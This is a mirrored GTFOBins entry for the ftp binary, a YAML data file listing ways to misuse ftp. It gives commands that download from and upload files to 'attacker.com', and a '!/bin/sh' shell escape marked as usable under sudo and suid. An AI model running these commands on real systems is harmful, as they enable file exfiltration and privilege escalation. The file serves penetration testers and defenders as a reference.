1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 22:46:19 +01:00
GTFOBins.github.io/_gtfobins/ftp
2026-01-05 22:26:55 +01:00

35 lines
722 B
Plaintext

---
functions:
download:
- code: |-
ftp -a attacker.com
get /path/to/input-file output-file
comment: |-
Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.
contexts:
sudo:
suid:
unprivileged:
sender: ftp-server
shell:
- code: |-
ftp
!/bin/sh
contexts:
sudo:
suid:
shell: true
unprivileged:
upload:
- code: |-
ftp -a attacker.com
put /path/to/input-file output-file
comment: |-
Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.
contexts:
sudo:
suid:
unprivileged:
receiver: ftp-server
...